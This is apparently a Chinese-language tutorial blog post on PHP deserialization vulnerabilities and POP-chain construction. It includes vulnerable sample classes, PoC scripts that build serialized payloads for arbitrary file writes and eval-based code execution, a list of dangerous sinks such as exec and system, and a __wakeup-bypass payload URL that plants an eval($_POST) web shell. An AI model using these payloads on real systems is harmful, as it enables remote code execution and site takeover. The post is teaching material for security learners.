Fork me on GitHub

php反序列化利用

参考文献:http://www.lmxspace.com/2018/05/03/php-unserialize-%E5%88%9D%E8%AF%86/
http://www.lmxspace.com/2018/05/03/php-unserialize-%E5%88%9D%E8%AF%86/

1.序列化概念:

所有php里面的值都可以使用函数serialize()来返回一个包含字节流的字符串来表示。unserialize()函数能够重新把字符串变回php原来的值。 序列化一个对象将会保存对象的所有变量,但是不会保存对象的方法,只会保存类的名字。

serialize()将一个对象转换成一个字符串
unserialize()将字符串还原为一个对象

1.1 一个序列化的简单例子

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<?php
class test
{
public $flag = 'Inactive';
public function set_flag($flag)
{
$this->flag = $flag;
}
public function get_flag($flag)
{
return $this->flag;
}
}
$object = new test();
$object->set_flag('Active');
$data = serialize($object);
echo $data;
file_put_contents('serialize.txt', $data);
?>

当$flag为public类型时,输出:O:4:"test":1:{s:4:"flag";s:6:"Active";}

当$flag为private类型时,输出O:4:"test":1:{s:10:"testflag";s:6:"Active";};

当$flag为protected类型时,输出O:4:"test":1:{s:7:"*flag";s:6:"Active";}

Ps:对象的私有成员具有加入成员名称的类名称;受保护的成员在成员名前面加上``。这些前缀值在任一侧都有空字节*

1.2 PHP序列化格式:

1
2
O:4:"Test":2:{s:1:"a";s:5:"Hello";s:1:"b";i:20;}
类型:长度:"名字":类中变量的个数:{类型:长度:"名字";类型:长度:"值";......}

1.3 类型字母详解:

1
2
3
4
5
6
a - array                  b - boolean  
d - double i - integer
o - common object r - reference
s - string C - custom object
O - class N - null
R - pointer reference U - unicode string

1.4 magic函数:
命名是以符号__开头的(php中存在一些特殊的类成员在某些特定情况下会自动调用)。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
__construct当一个对象创建时被调用,
__destruct当一个对象销毁时被调用,
__toString当一个对象被当作一个字符串被调用。
__wakeup() //使用unserialize时触发
__sleep() //使用serialize时触发
__destruct() //对象被销毁时触发
__call() //在对象上下文中调用不可访问的方法时触发
__callStatic() //在静态上下文中调用不可访问的方法时触发
__get() //用于从不可访问的属性读取数据
__set() //用于将数据写入不可访问的属性
__isset() //在不可访问的属性上调用isset()或empty()触发
__unset() //在不可访问的属性上使用unset()时触发
__toString() //把类当作字符串使用时触发,返回值需要为字符串
__invoke() //当脚本尝试将对象调用为函数时触发

2.PHP反序列化与POP链

  • 当反序列化参数可控时,可能会产生PHP反序列化漏洞。
  • 在反序列化中,我们所能控制的数据就是对象中的各个属性值,所以在PHP的反序列化有一种漏洞利用方法叫做 “面向属性编程”,面向对象编程从一定程度上来说,就是完成类与类之间的调用。POP链起于一些小的“组件”,这些小“组件”可以调用其他的“组件”
  • 在PHP中,“组件”就是上面提到的magic函数__wakeup()或__destruct
    2.1 几个可用的POP链方法
1
2
命令执行:exec()            passthru()         popen()         system()
文件操作:file_put_contents() file_get_contents() unlink()

2.1.1POP链的示例

1
2
3
4
5
6
7
8
9
10
11
12
13
14
#shm1.php
<?php
class popdemo{
private $data = "demo\n";
private $filename = './demo';
public function __wakeup(){
$this->save($this->filename);
}
public function save($filename){
file_put_contents($filename, $this->data);
}
}
unserialize(file_get_contents('./serialized.txt));
?>

该文件定义了一个 popdemo 类,该类实现了__wakeup 函数,然后在该函数中又调用了save函数,且参数对象是文件名。跟进save函数,在此函数中通过调用file_put_contents函数,这个函数的$filenamedata属性值是从save函数中传出来的,并且创建了一个文件。__wakeup()函数在序列化时自动调用,这里还定义了一个保存文件的函数,在这个反序列化过程中对象的属性值可控。于是这里就存在一个任意文件写入任意文件内容的反序列化漏洞了。

  • 利用POC
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    #shm.php
    <?php
    class popdemo
    {
    private $data = "<?php phpinfo();?>\n";
    private $filename = './poc.php';
    public function __wakeup(){
    $this->save($this->filename);
    }
    public function save($filename){
    file_put_contents($filename, $this->data);
    }
    }
    $demo = new popdemo();
    echo serialize($demo);
    file_put_contents("./serialized.txt",serialize($demo));
    ?>

先运行poc代码,然后运行测试代码,会在同目录下生成一个poc.php
1.png

3.反序列化漏洞的利用

3.1 利用构造函数
php在使用unserialize()后会导致__wakeup()__destruct()的直接调用,中间无需其他过程。因此最理想的情况就是一些漏洞/危害代码在__wakeup()__destruct()中,从而当我们控制序列化字符串时可以去直接触发它们。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<?php
class pocdemo{
function __construct($test){
$fp = fopen("shell.php","w") ;
fwrite($fp,$test);
fclose($fp);
}
}
class l1nk3r{
var $test = '123';
function __wakeup(){
$obj = new pocdemo($this->test);
}
}
$test = file_get_contents('./ser.txt');
unserialize($test);
require "shell.php";
?>

代码主要是通过get方法通过test传入序列化好的字符串,然后在反序列化的时候自动调用wakeup()函数,在wakeup()函数中通过new pocdemo()会自动调用对象pocdemo中的__construct(),从而把<?php phpinfo(); ?>写入到shell.php中。

  • poc代码
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    <?php
    class pocdemo{
    function __construct($test){
    $fp = fopen("shell.php","w") ;
    fwrite($fp,$test);
    fclose($fp);
    }
    }
    class l1nk3r{
    var $test = '<?php phpinfo(); ?>';
    function __wakeup(){
    $obj = new pocdemo($this->test);
    }
    }$ser = new l1nk3r();
    $result = serialize($ser);
    print $result;
    file_put_contents('./ser.txt',$result);
    ?>

跟上面的利用方式一样,运行poc代码后,运行demo代码。则<?php phpinfo(); ?>写入到shell.php

3.2 利用普通成员方法
在反序列化的时候,当漏洞/危险代码存在类的普通方法中,就不能指望通过“自动调用”来达到目的了。这时的利用方法如下,寻找相同的函数名,把敏感函数和类联系在一起。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
<?php
class l1nk3r {
var $test;
function __construct() {
$this->test = new CodeMonster();
}
function __destruct() {
$this->test->action();
}
}
class CodeMonster {
function action() {
echo "CodeMonster";
}
}
class CodeMonster1 {
var $test2;
function action() {
eval($this->test2);
}
}
$class6 = new l1nk3r();
unserialize($_GET['test']);
?>

此代码通过new 实例化一个新的l1nk3r对象后,调用__construct(),其中该函数又new了一个新的CodeMonster对象;这个对象的功能是定义了action(),并且打印CodeMonster。然后结束的时候调用__destruct(),在__destruct()会调用action(),因此页面会输出CodeMonster。
在代码中,可看到codermaster1对象中有一个eval(),刚刚在l1nk3r对象中,new的是CodeMonster,如果new的是CodeMonster1,那么自然就会进入CodeMonster1中,然后eval()函数中的$test2可控制,那么自然就可以实现远程代码执行了

  • poc代码
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    <?php
    class l1nk3r {
    var $test;
    function __construct() {
    $this->test = new CodeMonster1();
    }
    }
    class CodeMonster1 {
    var $test2='phpinfo();';
    }
    $class = new l1nk3r();
    print_r(serialize($class));
    ?>

得到O:6:"l1nk3r":1:{s:4:"test";O:12:"CodeMonster1":1:{s:5:"test2";s:10:"phpinfo();";}}

4.反序列化漏洞的挖掘

4.1漏洞发现技巧

找PHP链的基本思路.

在各大流行的包中搜索 __wakeup()__destruct() 函数.
追踪调用过程
手工构造 并验证 POP 链
开发一个应用使用该库和自动加载机制,来测试exploit.

4.2 构造exploit的思路

寻找可能存在漏洞的应用
在他所使用的库中寻找 POP gadgets
在虚拟机中安装这些库,将找到的POP链对象序列化,在反序列化测试payload
将序列化之后的payload发送到有漏洞web应用中进行测试.

5.反序列化需注意的点

①.当成员属性数目大于实际数目时可绕过__wakeup()//PHP版本为PHP5小于5.6.25或PHP7小于7.0.10
②.CTF中成员属性数目前面多一个 +,可以绕过正则。
③.protected和private属性会产生一些浏览器看不见的字符。

  • 一个简单的例子
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    <?php
    class Test
    {
    private $poc = '';
    public function __construct($poc)
    {
    $this->poc = $poc;
    }
    function __destruct()
    {
    if ($this->poc != '')
    {
    file_put_contents('shell.php', '<?php eval($_POST['shell']);?>');
    die('Success!!!');
    }
    else
    {
    die('fail to getshell!!!');
    }
    }
    function __wakeup()
    {
    foreach(get_object_vars($this) as $k => $v)
    {
    $this->$k = null;
    }
    echo "waking up...n";
    }
    }
    $poc = $_GET['poc'];
    if(!isset($poc))
    {
    show_source(__FILE__);
    die();
    }
    $a = unserialize($poc);

需要再反序列化的时候绕过__wakeup以达到写文件的操作

  • poc代码
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    <?php
    class Test
    {
    .......
    }
    function __wakeup()
    {
    foreach(get_object_vars($this) as $k => $v)
    {
    $this->$k = null;
    }
    echo "waking up...n";
    }
    }
    $a = new Test('shell');
    $poc = serialize($a);
    print($poc);

运行poc得到O:4:"Test":1:{s:9:" Test poc";s:5:"shell";}
运行payload:(将1改为大于1的任何整数,将Testpoc改为%00Test%00poc)
http://localhost/shm.php?poc=O:4:"Test":2:{s:9:"%00Test%00poc";s:5:"shell";}
写入文件操作成功。

-------------本文结束感谢您的阅读-------------